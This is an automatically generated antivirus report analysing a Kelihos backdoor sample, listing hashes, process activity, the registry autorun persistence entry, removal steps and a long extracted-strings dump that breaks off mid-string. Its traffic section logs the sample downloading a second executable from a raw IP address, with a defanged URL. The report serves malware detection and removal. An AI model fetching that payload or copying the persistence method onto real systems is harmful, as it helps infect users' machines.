Backdoor.Win32.Kelihos.FD, mzpefinder_pcap_file.YR, GenericInjector.YR (Lavasoft MAS)Behaviour: Backdoor
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: a24efbd8033b1706540b17b35696b0e1
SHA1: 44338b19c4879771134e12830a2db8ea195823d3
SHA256: 50e7368f241d65a2cf03830e81ff0eaa3e454627038597ee945d5ad3061c7815
SSDeep: 1536:7zYHExJyl33f23FRu Cp/zazUVSzeSzkaOWlxY3MRwCs:7EHExJyhO3G CUkSzrooxY8mCs
Size: 81920 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6, MicrosoftVisualC, MicrosoftVisualCv50v60MFC, MicrosoftVisualC50, Armadillov171
Company: no certificate found
Created at: 2014-07-21 21:33:43
Analyzed on: WindowsXP SP3 32-bit
Summary: Backdoor. Malware that enables a remote control of victim's machine.
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Backdoor creates the following process(es):
%original file name%.exe:660
%original file name%.exe:1152
temp2318057572.exe:1760
The Backdoor injects its code into the following process(es):
temp2318057572.exe:1356
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:660 makes changes in the file system.
The Backdoor creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\temp2318057572.exe (6424 bytes)
The process temp2318057572.exe:1356 makes changes in the file system.
The Backdoor deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\tmp.exe (0 bytes)
Registry activity
The process %original file name%.exe:660 makes changes in the system registry.
The Backdoor creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E3 93 80 C8 AA 9C 70 1D F6 C6 32 4A 7A AB 18 95"
The process %original file name%.exe:1152 makes changes in the system registry.
The Backdoor creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F4 EC 10 20 C1 73 EA E1 53 C3 F3 8E D6 DB CC AA"
The process temp2318057572.exe:1760 makes changes in the system registry.
The Backdoor creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4B 5E 75 5F FD EC B3 35 24 51 45 4F 0E 05 08 6A"
The process temp2318057572.exe:1356 makes changes in the system registry.
The Backdoor creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "65 B2 5F 97 79 1A 08 22 13 69 23 CA 96 46 F6 5C"
[HKCU\Software\Microsoft\Notepad]
"SizeCompletedValid" = "DC 5zl6UVCFS604pnl2icEEv5YbQ9EF kQGhO taM6a1qst1lzMCDP/DN4QnFz01cQ=="
[HKCU\Software\Sysinternals\Process Monitor]
"UrlEnabledUse" = "80"
[HKLM\System\CurrentControlSet\Services\nm\Parameters]
"EnableStationQueries" = "1"
"ComputerName" = "XP9"
[HKCU\Software\Microsoft\Notepad]
"InfoPlayedCurrent" = "00 00 00 00 00 00 00 00"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Internet Explorer\Main]
"DBSavedUse" = "A2 49 4D F3 D9 1E 9F 88 01 01 08 6A 00 03 E5 02"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKCU\Software\Sysinternals\Process Monitor]
"FlagsModifiedValid" = "00 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Notepad]
"StyleModifiedPrev" = "80"
[HKCU\Software\Microsoft\Internet Explorer\Main]
"PlatformCompressedValid" = "00 00 00 00 00 00 00 00"
"PersistentLocalizedName" = "D9 80 F9 7F 7A ED 42 99 3D E7 A9 5D DB 52 0A 7D"
[HKCU\Software\Sysinternals\Process Monitor]
"DefaultCompressedRecord" = "D9 80 F9 7F 73 5E 90 61 03 5A A3 8B 2D 8C 8C D6"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"
[HKCU\Software\Microsoft\Notepad]
"ActiveModifiedTheme" = "D9 80 F9 7F 87 27 8F 36 EC 25 13 8F 11 D7 20 A1"
[HKCU\Software\Microsoft\Internet Explorer\Main]
"RecordEnabledCheck" = "80"
[HKCU\Software\Sysinternals\Process Monitor]
"RecordModifiedMax" = "DC 5zl6UVCFS604pnl2icEEv5YbQ9EF kQGhO taM6a1qst1lzMCDP/DN4QnFz01cQ=="
[HKLM\System\CurrentControlSet\Services\nm\Parameters]
"UserName" = "%CurrentUserName%"
[HKCU\Software\Microsoft\Internet Explorer\Main]
"LineLoadedQuick" = "DC 5zl6UVCFS604pnl2icEEv5YbQ9EF kQGhO taM6a1qst1lzMCDP/DN4QnFz01cQ=="
To automatically run itself each time Windows is booted, the Backdoor adds the following link to its file to the system registry autorun key:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"NetworkChecker" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\temp2318057572.exe"
Dropped PE files
| MD5 | File path |
|---|---|
| e35772e96e6d1bb068b528e9e4d920d1 | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\temp2318057572.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
%original file name%.exe:660
%original file name%.exe:1152
temp2318057572.exe:1760 - Delete the original Backdoor file.
- Delete or disinfect the following files created/modified by the Backdoor:
%Documents and Settings%\%current user%\Local Settings\Temp\temp2318057572.exe (6424 bytes)
- Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"NetworkChecker" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\temp2318057572.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: Google Inc.
Product Name: Google Chrome
Product Version: 34.0.1847.131
Legal Copyright: Copyright 2012 Google Inc. All rights reserved.
Legal Trademarks:
Original Filename: chrome.exe
Internal Name: chrome_exe
File Version: 34.0.1847.131
File Description: Google Chrome
Comments:
Language: English (United States)
Company Name: Google Inc.Product Name: Google ChromeProduct Version: 34.0.1847.131Legal Copyright: Copyright 2012 Google Inc. All rights reserved.Legal Trademarks: Original Filename: chrome.exeInternal Name: chrome_exeFile Version: 34.0.1847.131File Description: Google ChromeComments: Language: English (United States)
PE Sections
| Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
|---|---|---|---|---|---|
| . | 4096 | 14042 | 16384 | 4.322 | de644cad76d9dcd8d390292709812366 |
| .rdata | 20480 | 5546 | 8192 | 2.48224 | 563bd73b50d81ef22c165939eb1aedfc |
| .data | 28672 | 18688 | 20480 | 0.07401 | e17e1b8aee0d993a9a8f3b4bcb896446 |
| 49152 | 32512 | 32768 | 5.27692 | 7f57c0a5825cc96b0569cfc04595637b |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
| URL | IP |
|---|---|
| hxxp://192.35.222.90/traff02.exe |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /traff02.exe HTTP/1.0
Host: 192.35.222.90
HTTP/1.1 200
Server: Apache
Content-Length: 983040
Content-Type:
Last-Modified: .., 02 ... 2014 21:47:21 GMT
Accept-Ranges: bytes
Server:nginx/1.2.6
Date:Sat, 02 Aug 2014 21:47:18 GMT
Last-Modified:Sat, 02 Aug 2014 21:20:57 GMT
Accept-Ranges:bytes
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............@...@...@.,.....@...S...@.l.N...@...J...@...D...@...K...@...D...@...A.U.@...K...@.(.F...@.Rich..@.................PE..L....]...............................F.......P....@..........................................................................^...........9...........................................................................P................................ext....6.......@.....................`.rdata.......P... ...P..............@..@.daua....I...p...P...p..............@....rsrc....9.......@..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
<<< skipped >>>
Map
The Backdoor connects to the servers at the folowing location(s):
Strings from Dumps
temp2318057572.exe_1356:
h]On%S
h]On%S
h%spmS
h%spmS
FTPQ
FTPQ
PSSSSSSh
PSSSSSSh
FTPS
FTPS
D$4h%XG
D$4h%XG
~$)~()|$
~$)~()|$
3|$83|$0
3|$83|$0
3|$<3><pre>3|$@3|$4</pre><pre>.QZ^&</pre><pre>vSSSh</pre><pre>FTPjK</pre><pre>FtPj;</pre><pre>C.PjRV</pre><pre>tGHt.Ht&</pre><pre>Local\{C15730E2-145C-4c5e-B005-3BC753F42475}-once-flag</pre><pre>Can't terminate a sub-expression with an alternation operator |.</pre><pre>A regular expression can start with the alternation operator |.</pre><pre>Alternation operators are not allowed inside a DEFINE block.</pre><pre>More than one alternation operator | was encountered inside a conditional expression.</pre><pre>A repetition operator cannot be applied to a zero-width assertion.</pre><pre>Invalid alternation operators within (?...) block.</pre><pre>The \c and \C escape sequences are not supported by POSIX basic regular expressions: try the Perl syntax instead.</pre><pre>Found a closing repetition operator } with no corresponding {.</pre><pre>The repeat operator " " cannot start a regular expression.</pre><pre>The repeat operator "?" cannot start a regular expression.</pre><pre>The repeat operator "*" cannot start a regular expression.</pre><pre>right-curly-bracket</pre><pre>left-curly-bracket</pre><pre>0123456789</pre><pre>Unmatched quantified repeat operator { or \{.</pre><pre>Invalid preceding regular expression prior to repetition operator.</pre><pre>deflate 1.2.5 Copyright 1995-2010 Jean-loup Gailly and Mark Adler</pre><pre>1.2.5</pre><pre>inflate 1.2.5 Copyright 1995-2010 Mark Adler</pre><pre>boost::filesystem::directory_iterator::operator </pre><pre>Visual C CRT: Not enough memory to complete call to strerror.</pre><pre>Please contact the application's support team for more information.</pre><pre>- Attempt to initialize the CRT more than once.</pre><pre>- CRT not initialized</pre><pre>- floating point support not loaded</pre><pre>portuguese-brazilian</pre><pre>Broken pipe</pre><pre>Inappropriate I/O control operation</pre><pre>Operation not permitted</pre><pre>operator</pre><pre>GetProcessWindowStation</pre><pre>USER32.DLL</pre><pre>login</pre><pre>Mozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0</pre><pre>Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00</pre><pre>Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14</pre><pre>Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14</pre><pre>Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14</pre><pre>Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; da-dk) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1</pre><pre>Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1</pre><pre>Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3</pre><pre>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10</pre><pre>Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.13 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2</pre><pre>Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112)</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)</pre><pre>Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)</pre><pre>Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)</pre><pre>Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/4.0; InfoPath.2; SV1; .NET CLR 2.0.50727; WOW64)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)</pre><pre>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)</pre><pre>Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 5.0; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130331 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130330 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130331 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130401 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.2; rv:21.0) Gecko/20130326 Firefox/21.0</pre><pre>Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20100101 Firefox/21.0</pre><pre>Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0</pre><pre>Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0</pre><pre>Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1464.0 Safari/537.36</pre><pre>Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1467.0 Safari/537.36</pre><pre>Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36</pre><pre>Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.2 Safari/537.36</pre><pre>Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)</pre><pre>Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)</pre><pre>asio.misc</pre><pre>asio.misc error</pre><pre>thread.entry_event</pre><pre>thread.exit_event</pre><pre>255.255.255.255</pre><pre>0.0.0.0</pre><pre>127.0.0.1</pre><pre>%d.%m.%Y %H:%M:%S</pre><pre>%a, %d %b %Y %H:%M:%S GMT</pre><pre><4><pre>(3-!0,1'8"5.*2$</pre><pre>.text</pre><pre>h.rdata</pre><pre>H.data</pre><pre>.rsrc</pre><pre>B.reloc</pre><pre>DriverEntry: TCP-IP not found, quitting.</pre><pre>DriverEntry: Adapters not found in the registry, try to copy the bindings of TCP-IP.</pre><pre>DriverEntry: OS Version: %d.%d</pre><pre>Device %d = %ws</pre><pre>Status of %x querying key value</pre><pre>Status of %x querying key value for size</pre><pre>OpenKey Failed, %d!</pre><pre>Key name=%ws</pre><pre>Status of %x opening %ws</pre><pre>Mac %u = %ws</pre><pre>Tcpip bind value not REG_MULTI_SZ but %u</pre><pre>Querying key value result len = %u but previous len = %u</pre><pre>IoCreateDevice status = %x</pre><pre>NPF_IoControl: BIOCQUERYOID completed, BytesWritten = %u</pre><pre>NPF_IoControl: Bogus return from NdisRequest (query): Bytes Written (%u) > InfoBufferLength (%u)!!</pre><pre>NPF_IoControl: BIOCSETOID completed, BytesRead = %u</pre><pre>NPF_IoControl: Error installing the BPF filter. The filter contains TME extensions, not supported on 64bit platforms.</pre><pre>NPF_IoControl: Operative instructions=%u</pre><pre>KeGetCurrentIrql() == PASSIVE_LEVEL</pre><pre>e:\releases\winpcap_4_1_0_1753\winpcap\packetntx\driver\openclos.c</pre><pre>NPF_Open: Opened Instances: %u</pre><pre>NPF_Open: Opened the device, Status=%x</pre><pre>NPF_Cleanup: Opened Instances: %u</pre><pre>Received on CPU %d</pre><pre>HeaderBufferSize=%u, LookAheadBuffer=%p, LookaheadBufferSize=%u, PacketSize=%u</pre><pre>NPF_Write: Max frame size = %u, packet size = %u</pre><pre>NPF_Write: Another Send operation is in progress, aborting.</pre><pre>NPF: BufferedWrite, UserBuff=%p, Size=%u</pre><pre>e:\releases\winpcap_4_1_0_1753\winpcap\packetntx\driver\bin\i386\npf.pdb</pre><pre>ZwQueryValueKey</pre><pre>ZwEnumerateKey</pre><pre>ZwOpenKey</pre><pre>ntoskrnl.exe</pre><pre>HAL.dll</pre><pre>NDIS.SYS</pre><pre>0$0)02090</pre><pre>http://ocsp.verisign.com0</pre><pre>"http://crl.verisign.com/tss-ca.crl0</pre><pre>Thawte Certification1</pre><pre>0http://crl.verisign.com/ThawteTimestampingCA.crl0</pre><pre>.Class 3 Public Primary Certification Authority0</pre><pre>2Terms of use at https://www.verisign.com/rpa (c)041.0,</pre><pre>https://www.verisign.com/rpa01</pre><pre>http://crl.verisign.com/pca3.crl0</pre><pre>.Class 3 Public Primary Certification Authority</pre><pre>/http://CSC3-2004-crl.verisign.com/CSC3-2004.crl0D</pre><pre>https://www.verisign.com/rpa0</pre><pre>http://ocsp.verisign.com0?</pre><pre>3http://CSC3-2004-aia.verisign.com/CSC3-2004-aia.cer0</pre><pre>Dhttp://crl.microsoft.com/pki/crl/products/MicrosoftCodeVerifRoot.crl0</pre><pre>n.aAHu</pre><pre>`.rdata</pre><pre>@.data</pre><pre>@.reloc</pre><pre>L$.Qf</pre><pre>mscoree.dll</pre><pre>.mixcrt</pre><pre>KERNEL32.DLL</pre><pre>kernel32.dll</pre><pre>@(#) $Header: /tcpdump/master/libpcap/scanner.l,v 1.110.2.2 2008/02/06 10:21:47 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/savefile.c,v 1.168.2.10 2008-10-06 15:38:39 gianluca Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/pcap.c,v 1.112.2.12 2008-09-22 20:16:01 guy Exp $ (LBL)</pre><pre>4.1.1</pre><pre>WinPcap version %s, based on %s</pre><pre>WinPcap version %s (packet.dll version %s), based on %s</pre><pre>@(#) $Header: /tcpdump/master/libpcap/pcap-win32.c,v 1.34.2.8 2008-05-21 22:11:26 gianluca Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/optimize.c,v 1.90.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/nametoaddr.c,v 1.82.2.1 2008/02/06 10:21:47 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/inet.c,v 1.75.2.4 2008-04-20 18:19:24 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/grammar.y,v 1.99.2.2 2007/11/18 02:04:55 guy Exp $ (LBL)</pre><pre>$$$88$$$8</pre><pre>"#-./0123</pre><pre>@(#) $Header: /tcpdump/master/libpcap/gencode.c,v 1.290.2.16 2008-09-22 20:16:01 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/fad-win32.c,v 1.15 2007/09/25 20:34:36 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/etherent.c,v 1.23 2006/10/04 18:09:22 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/bpf_image.c,v 1.27.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/bpf/net/bpf_filter.c,v 1.45.2.1 2008/01/02 04:22:16 guy Exp $ (LBL)</pre><pre>@(#) $Header: /tcpdump/master/libpcap/bpf_dump.c,v 1.14.4.1 2008/01/02 04:22:16 guy Exp $ (LBL)</pre><pre>%u %u %u %u</pre><pre>{ 0x%x, %d, %d, 0xx },</pre><pre>[x %d]</pre><pre>#0x%x</pre><pre>4*([%d]&0xf)</pre><pre>M[%d]</pre><pre>(d) %-8s %-16s jt %d</pre><pre>jf %d</pre><pre>(d) %-8s %s</pre><pre>malloc: %s</pre><pre>PacketGetAdapterNames: %s</pre><pre>pcap_compile cannot generate filters for a TurboCap port when the PPI linktype is used.</pre><pre>unknown data link type %d</pre><pre>unsupported protocol over mpls</pre><pre>IEEE 802.15.4 link-layer type filtering not implemented</pre><pre>'tcp' modifier applied to %s</pre><pre>'sctp' modifier applied to %s</pre><pre>'udp' modifier applied to %s</pre><pre>'icmp' modifier applied to %s</pre><pre>'igmp' modifier applied to %s</pre><pre>'igrp' modifier applied to %s</pre><pre>'pim' modifier applied to %s</pre><pre>'vrrp' modifier applied to %s</pre><pre>'icmp6' modifier applied to %s</pre><pre>'ah' modifier applied to %s</pre><pre>'esp' modifier applied to %s</pre><pre>'esis' modifier applied to %s</pre><pre>'isis' modifier applied to %s</pre><pre>'clnp' modifier applied to %s</pre><pre>'stp' modifier applied to %s</pre><pre>'netbeui' modifier applied to %s</pre><pre>'radio' modifier applied to %s</pre><pre>'ip' modifier applied to ip6 %s</pre><pre>'rarp' modifier applied to ip6 %s</pre><pre>'arp' modifier applied to ip6 %s</pre><pre>'decnet' modifier applied to ip6 %s</pre><pre>unknown ip proto '%s'</pre><pre>unknown ether proto '%s'</pre><pre>unknown osi proto '%s'</pre><pre>'protochain' not supported with 802.11</pre><pre>unsupported proto to gen_protochain</pre><pre>'udp proto' is bogus</pre><pre>'tcp proto' is bogus</pre><pre>unknown network '%s'</pre><pre>unknown ether host '%s'</pre><pre>unknown FDDI host '%s'</pre><pre>unknown token ring host '%s'</pre><pre>unknown 802.11 host '%s'</pre><pre>unknown Fibre Channel host '%s'</pre><pre>only ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel supports link-level host name</pre><pre>unknown host '%s'</pre><pre>unknown host '%s'%s</pre><pre>illegal qualifier of 'port'</pre><pre>unknown port '%s'</pre><pre>port '%s' is tcp</pre><pre>port '%s' is sctp</pre><pre>port '%s' is udp</pre><pre>illegal qualifier of 'portrange'</pre><pre>unknown port in range '%s'</pre><pre>port in range '%s' is tcp</pre><pre>port in range '%s' is sctp</pre><pre>port in range '%s' is udp</pre><pre>'gateway' not supported in this configuration</pre><pre>unknown protocol: %s</pre><pre>non-network bits set in "%s mask %s"</pre><pre>non-network bits set in "%s/%d"</pre><pre>invalid ip6 address %s</pre><pre>%s resolved to multiple address</pre><pre>mask length must be <= %u</pre><pre>ethernet addresses supported only on ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel</pre><pre>unsupported index operation</pre><pre>IPv6 upper-layer protocol is not supported by proto[x]</pre><pre>only link-layer/IP broadcast filters supported</pre><pre>link-layer multicast filters supported only on ethernet/FDDI/token ring/ARCNET/802.11/ATM LANE/Fibre Channel</pre><pre>inbound/outbound not supported on linktype %d</pre><pre>libpcap was compiled without pf support</pre><pre>libpcap was compiled on a machine without pf support</pre><pre>802.11 link-layer types supported only on 802.11</pre><pre>frame direction supported only with 802.11 headers</pre><pre>aid supported only on ARCnet</pre><pre>no VLAN support for data link type %d</pre><pre>no MPLS support for data link type %d</pre><pre>'vpi' supported only on raw ATM</pre><pre>'vci' supported only on raw ATM</pre><pre>'callref' supported only on raw ATM</pre><pre>'metac' supported only on raw ATM</pre><pre>'bcc' supported only on raw ATM</pre><pre>'oam4sc' supported only on raw ATM</pre><pre>'oam4ec' supported only on raw ATM</pre><pre>'sc' supported only on raw ATM</pre><pre>'ilmic' supported only on raw ATM</pre><pre>'lane' supported only on raw ATM</pre><pre>'llc' supported only on raw ATM</pre><pre>'fisu' supported only on MTP2</pre><pre>'lssu' supported only on MTP2</pre><pre>'msu' supported only on MTP2</pre><pre>'sio' supported only on SS7</pre><pre>sio value %u too big; max value = 255</pre><pre>'opc' supported only on SS7</pre><pre>opc value %u too big; max value = 16383</pre><pre>'dpc' supported only on SS7</pre><pre>dpc value %u too big; max value = 16383</pre><pre>'sls' supported only on SS7</pre><pre>sls value %u too big; max value = 15</pre><pre>'oam' supported only on raw ATM</pre><pre>'oamf4' supported only on raw ATM</pre><pre>'connectmsg' supported only on raw ATM</pre><pre>'metaconnect' supported only on raw ATM</pre><pre>'port' modifier applied to ip host</pre><pre>'portrange' modifier applied to ip host</pre><pre>%d-%d</pre><pre>%d.%d</pre><pre>malformed decnet address '%s'</pre><pre>decnet name support not included, '%s' cannot be translated</pre><pre>%s for block-local relative jump: off=%d</pre><pre>malloc() failed: %s</pre><pre>%s '%s' %s</pre><pre>Error when listing files: does folder '%s' exist?</pre><pre>%s '%s' %s %s</pre><pre>[%[1234567890:.]]:%[^/]/%s</pre><pre>[%[1234567890:.]]/%s</pre><pre>%[^/:]:%[^/]/%s</pre><pre>%[^/]/%s</pre><pre>Source type not supported</pre><pre>getaddrinfo() %s</pre><pre>(%s) and not (host %s and host %s and port %s and port %s) and not (host %s and host %s and port %s)</pre><pre>not (host %s and host %s and port %s and port %s) and not (host %s and host %s and port %s)</pre><pre>TcApi.dll</pre><pre>TcQueryPortList</pre><pre>TcFreePortList</pre><pre>TcPortGetName</pre><pre>TcPortGetDescription</pre><pre>TcPacketsBufferCreate</pre><pre>TcPacketsBufferDestroy</pre><pre>TcPacketsBufferQueryNextPacket</pre><pre>TcPacketsBufferCommitNextPacket</pre><pre>Error opening TurboCap adapter: %s</pre><pre>Error enabling reception on a TurboCap instance: %s</pre><pre>Error setting the read timeout a TurboCap instance: %s</pre><pre>Getting the non blocking status is not available for TurboCap ports</pre><pre>Setting the non blocking status is not available for TurboCap ports</pre><pre>send error: the TurboCap API does not support packets larger than 64k</pre><pre>send error: TcPacketsBufferCreate failure: %s (x)</pre><pre>send error: TcInstanceTransmitPackets failure: %s (x)</pre><pre>send error: TcPacketsBufferCommitNextPacket failure: %s (x)</pre><pre>read error, TcInstanceReceivePackets failure: %s (x)</pre><pre>read error, TcPacketsBufferQueryNextPacket failure: %s (x)</pre><pre>TurboCap error setting the mintocopy: %s (x)</pre><pre>Mode %u not supported by TurboCap devices. TurboCap only supports capture.</pre><pre>TurboCap error in TcInstanceQueryStatistics: %s (x)</pre><pre>TurboCap error in TcStatisticsQueryValue: %s (x)</pre><pre>setfilter, unable to install the filter: %s</pre><pre>PacketGetStats error: %s</pre><pre>Error opening adapter: %s</pre><pre>Cannot determine the network type: %s</pre><pre>Error calling PacketSetMinToCopy: %s</pre><pre>Driver error: cannot set bpf filter: %s</pre><pre>PacketSetReadTimeout: %s</pre><pre>IEEE 802.15.4 with non-ASK PHY data</pre><pre>Bluetooth HCI UART transport layer plus pseudo-header</pre><pre>IEEE 802.15.4</pre><pre>IEEE 802.15.4 with Linux padding</pre><pre>Bluetooth HCI UART transport layer</pre><pre>Juniper Passive Monitor PIC</pre><pre>can't perform operation on activated capture</pre><pre>%s: %s</pre><pre>%s is not one of the DLTs supported by this device</pre><pre>DLT %d is not one of the DLTs supported by this device</pre><pre>That device doesn't support promiscuous mode</pre><pre>That device doesn't support monitor mode</pre><pre>That operation is supported only in monitor mode</pre><pre>Unknown error: %d</pre><pre>Sending packets isn't supported on savefiles</pre><pre>Setting direction is not supported on savefiles</pre><pre>error reading dump file: %s</pre><pre>truncated dump file; tried to read %u captured bytes, only got %lu</pre><pre>Can't write to %s: %s</pre><pre>%s: link-layer type %d isn't supported in savefiles</pre><pre>bogus IPv6 address %s</pre><pre>bogus ethernet address %s</pre><pre>illegal token: %s</pre><pre>illegal char '%c'</pre><pre>%sUnable to get the exact error message</pre><pre>%s%s (code %d)</pre><pre>%s (code %d)</pre><pre>Is the server properly installed on %s? connect() failed: %s</pre><pre>getaddrinfo(): socket type not supported</pre><pre>getaddrinfo(): multicast addresses are not valid when using TCP streams</pre><pre>Cannot retrieve the extended statistics from a file or a 